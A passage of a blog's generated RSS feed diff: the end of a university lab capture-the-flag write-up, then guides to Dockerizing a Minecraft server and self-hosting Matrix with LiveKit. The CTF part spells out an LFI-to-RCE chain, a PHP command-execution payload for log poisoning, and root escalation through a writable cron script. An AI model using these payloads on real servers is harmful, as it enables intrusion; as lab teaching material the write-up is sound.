    DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
    +

    Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

    +

    I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

    +

    Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

    +
    +

    9) Attack chain (one screen)

    +
    documentation.md
    +    → web vhost LFI (include $_GET['page'])
    +        → include pwreset index.php (localhost bypass)
    +            → write PHP to /var/www/userchange
    +                → LFI include userchange
    +                    → RCE as www-data
    +                        → append to world-writable cron_update_hostname_file.sh
    +                            → cron runs as root → copies passwd parts to webroot
    +                                → read parts / SSH as www-data
    +                                    → profit
    +

    Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

    +
    +

    10) Replay script

    +

    I left a minimal Python replay in the challenge repo:

    +
    python3 solve.py
    +

    Core logic:

    +
    def pwreset(user, passwd=""):
    +    # LFI-include pwreset index.php with user/pass params
    +
    +def rce(cmd):
    +    pwreset(f"<?=`{cmd}`?>", "")
    +    return lfi_include("/var/www/userchange")
    +

    It prints id, the modified cron script, each part file, and the combined password.

    +
    +

    11) Bonus: the intended log poisoning path

    +

    After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

    +

    So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

    +

    The hint is in index.php, not documentation.md

    +

    documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

    +
    <!-- remember for debugging:
    +    /var/log/nginx/$vhost.access.log
    +    /var/log/nginx/$vhost.error.log
    +    /var/log/nginx/ssl-$vhost.access.log
    +    /var/log/nginx/ssl-$vhost.error.log
    +-->
    +

    Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

    +

    Intended technique

    +
      +
    1. +

      Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

      +
      /var/log/nginx/web.g00.tuw.measurement.network.access.log
      +
    2. +
    3. +

      Put PHP in the User-Agent (or another logged field):

      +
      <?php passthru($_GET['cmd']); ?>
      +

      Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

      +
    4. +
    5. +

      Include that log through the same LFI bug:

      +
      https://web.g00.tuw.measurement.network/
      +  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
      +  &cmd=id
      +
    6. +
    +

    On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

    +

    How I griefed myself

    + + + + + + + + + + + + + + + + + + + + + + + + + +
    What I didWhy it hurt
    Defaulted to https:// everywherePoison landed in ssl-web...access.log670 KB+ and growing
    Included the ssl log via LFIOutput truncates around ~2 KB; poison sits at the tail
    Fired dozens of test payloadsLeft broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
    Didn’t read index.php source earlyMissed the debug comment until I’d already polluted both logs
    +

    Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

    +

    If you’re solving it now

    +
      +
    • Read index.php source first.
    • +
    • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
    • +
    • Include the non-ssl access log path from the comment.
    • +
    • Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.
    • +
    +

    I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

    +
    +

    12) TL;DR

    +
      +
    • Read documentation.md — it tells you where the services live.
    • +
    • Read index.php source — the debug comment gives you the log paths.
    • +
    • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
    • +
    • What I did = pwreset → userchange → cron (also works, not the intended first step).
    • +
    • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
    • +
    • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
    • +
    • Flag = concatenate all passwd_part slices + /root/passwd suffix.
    • +
    +

    If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

    +

    Happy hacking. 🔓

    +
    +

    Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
    +91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
    +iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
    +35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
    +FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
    +oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
    +zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
    +//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
    +MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
    +YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
    +zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
    +=BDGe
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md.asc
    +gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
    +  
    +
    + + +]]>
    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releaseshttps://blog.alipour.eu/posts/minecraft_server/Mon, 29 Sep 2025 09:06:29 +0000https://blog.alipour.eu/posts/minecraft_server/How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    +
    /dev/mapper/ubuntu--vg-var   3.9G  3.4G  333M  92% /var
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    +
    Starting minecraft server version 1.21.9 Pre-Release 2
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
    +Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
    +0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
    +7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
    +JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
    +OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
    +s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz
    +g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
    +NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
    +F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX
    +sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
    +=NmxL
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md.asc
    +gpg --verify minecraft_server.md.asc minecraft_server.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/linux/page/1/index.html b/public-clearnet/tags/linux/page/1/index.html new file mode 100644 index 0000000..5b760e9 --- /dev/null +++ b/public-clearnet/tags/linux/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/linux/ + \ No newline at end of file diff --git a/public-clearnet/tags/livekit/index.html b/public-clearnet/tags/livekit/index.html new file mode 100644 index 0000000..ee26c65 --- /dev/null +++ b/public-clearnet/tags/livekit/index.html @@ -0,0 +1,13 @@ +Livekit | AlipourIm journeys +
    Matrix, Signal but distributed

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    August 26, 2025 · 8 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/livekit/index.xml b/public-clearnet/tags/livekit/index.xml new file mode 100644 index 0000000..25af0dd --- /dev/null +++ b/public-clearnet/tags/livekit/index.xml @@ -0,0 +1,351 @@ +Livekit on AlipourIm journeyshttps://blog.alipour.eu/tags/livekit/Recent content in Livekit on AlipourIm journeysHugo -- 0.146.0enTue, 26 Aug 2025 00:00:00 +0000Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)https://blog.alipour.eu/posts/matrix_setup/Tue, 26 Aug 2025 00:00:00 +0000https://blog.alipour.eu/posts/matrix_setup/How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    +
    Database has incorrect collation of 'en_US.utf8'. Should be 'C'
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    +
    ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    +
    Access-Control-Allow-Origin cannot contain more than one origin.
    +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu
